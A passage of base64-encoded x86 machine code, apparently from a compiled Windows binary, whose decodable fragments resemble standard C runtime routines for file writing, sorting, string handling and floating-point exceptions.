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HQdK/uKAo1SAYpMF/+IRBf/iEr/g+4BdeuLRRCLTQgr2I0UATvZd55fXotN/DPNW+gwVP7/i+Vdw8zMzMzMzMzMzMyL/1WL7ItFDFeLfQg7+HQmVot1EIX2dB0r+I2bAAAAAIoIjUABilQH/4hMB/+IUP+D7gF1615fXcPMzMzMzMzMi/9Vi+yB7BwBAAChFMAMEDPFiUX8i00Ii1UMiY38/v//Vot1FIm1AP///1eLfRCJvQT///+FyXUkhdJ0IOhHWv//xwAWAAAA6AVX//9fXotN/DPN6IlT/v+L5V3Dhf903IX2dNjHhfj+//8AAAAAg/oCD4ISAwAASg+v11MD0YmVCP///4vCM9Irwff3jVgBg/sIdxZWV/+1CP///1Hoff7//4PEEOm3AgAA0esPr98D2VNRi86JnfD+////FYRYCBD/1oPECIXAfhBXU/+1/P7//+jo/v//g8QM/7UI////i87/tfz+////FYRYCBD/1oPECIXAfhVX/7UI/////7X8/v//6Lb+//+DxAz/tQj///+LzlP/FYRYCBD/1oPECIXAfhBX/7UI////U+iO/v//g8QMi4UI////i/iLtfz+//+LlQT///+Jhez+//+QO952NwPyibX0/v//O/NzJYuNAP///1NW/xWEWAgQ/5UA////i5UE////g8QIhcB+0zvedz2LhQj///+LvQD///8D8jvwdx9TVovP/xWEWAgQ/9eLlQT///+DxAiFwIuFCP///37bi73s/v//ibX0/v//i7UA////6waNmwAAAACLlQT///8r+jv7dhlTV4vO/xWEWAgQ/9aDxAiFwH/hi5UE////i7X0/v//ib3s/v//O/5yXomV6P7//4m95P7//zv3dDOL3ovXi7Xo/v//K9+KAo1SAYpME/+IRBP/iEr/g+4BdeuLtfT+//+LnfD+//+LlQT///+LhQj///873w+F+v7//4veiZ3w/v//6e3+//8D+jvfczKNpCQAAAAAK/o7+3Yli40A////U1f/FYRYCBD/lQD///+LlQT///+DxAiFwHTZO99yL4u1AP///yv6O738/v//dhlTV4vO/xWEWAgQ/9aLlQT///+DxAiFwHTdi7X0/v//i5UI////i8eLnfz+//+LyivOK8M7wXw5O99zGIuF+P7//4mchQz///+JfIWEQImF+P7//4u9B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AL21dnJ2eHrr+m1AgAA6UsDAADd2N3Y2y0gqQgQxoVw////AsPZ7dnJ2eSb3b1g////m/aFYf///0F10tnxw8aFcP///wLd2NstKqkIEMMKyXVTw9ns6wLZ7dnJCsl1rtnxw+lbAgAA6M8AAADd2N3YCsl1Dtnug/gBdQYK7XQC2eDDxoVw////AtstIKkIEIP4AXXtCu106dng6+Xd2OkNAgAA3djptQIAAFjZ5JvdvWD///+b9oVh////AXUP3djbLSCpCBAK7XQC2eDDxoVw////BOnXAQAA3djd2NstIKkIEMaFcP///wPDCsl1r93Y2y0gqQgQw9nA2eHbLT6pCBDe2ZvdvWD///+b9oVh////QXWV2cDZ/Nnkm929YP///5uKlWH////Zydjh2eSb3b1g////2eHZ8MPZwNn82Nmb3+CedRrZwNwNUqkIENnA2fze2Zvf4J50DbgBAAAAw7gAAAAA6/i4AgAAAOvxVoPsdIv0VoPsCN0cJIPsCN0cJJvddgjo6QcAAIPEFN1mCN0Gg8R0XoXAdAXp0AEAAMPMzMzMzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u66pCBDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7uuqQgQ2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPozgAAANnJ3djD6MQAAADr9t3Y3djZ7sPd2N3Y2e6E7XQC2eDD3djd2Nnow9u9Yv///9utYv////aFaf///0B0CMaFcP///wDDxoVw////ANwFnqkIEMPZydu9Yv///9utYv////aFaf///0B0CcaFcP///wDrB8aFcP///wDewcPbvWL////brWL////2hWn///9AdCDZydu9Yv///9utYv////aFaf///0B0CcaFcP///wDrB8aFcP///wHewcPd2N3Y2y2AqQgQgL1w////AH8HxoVw////AQrJw93Y3djbLZSpC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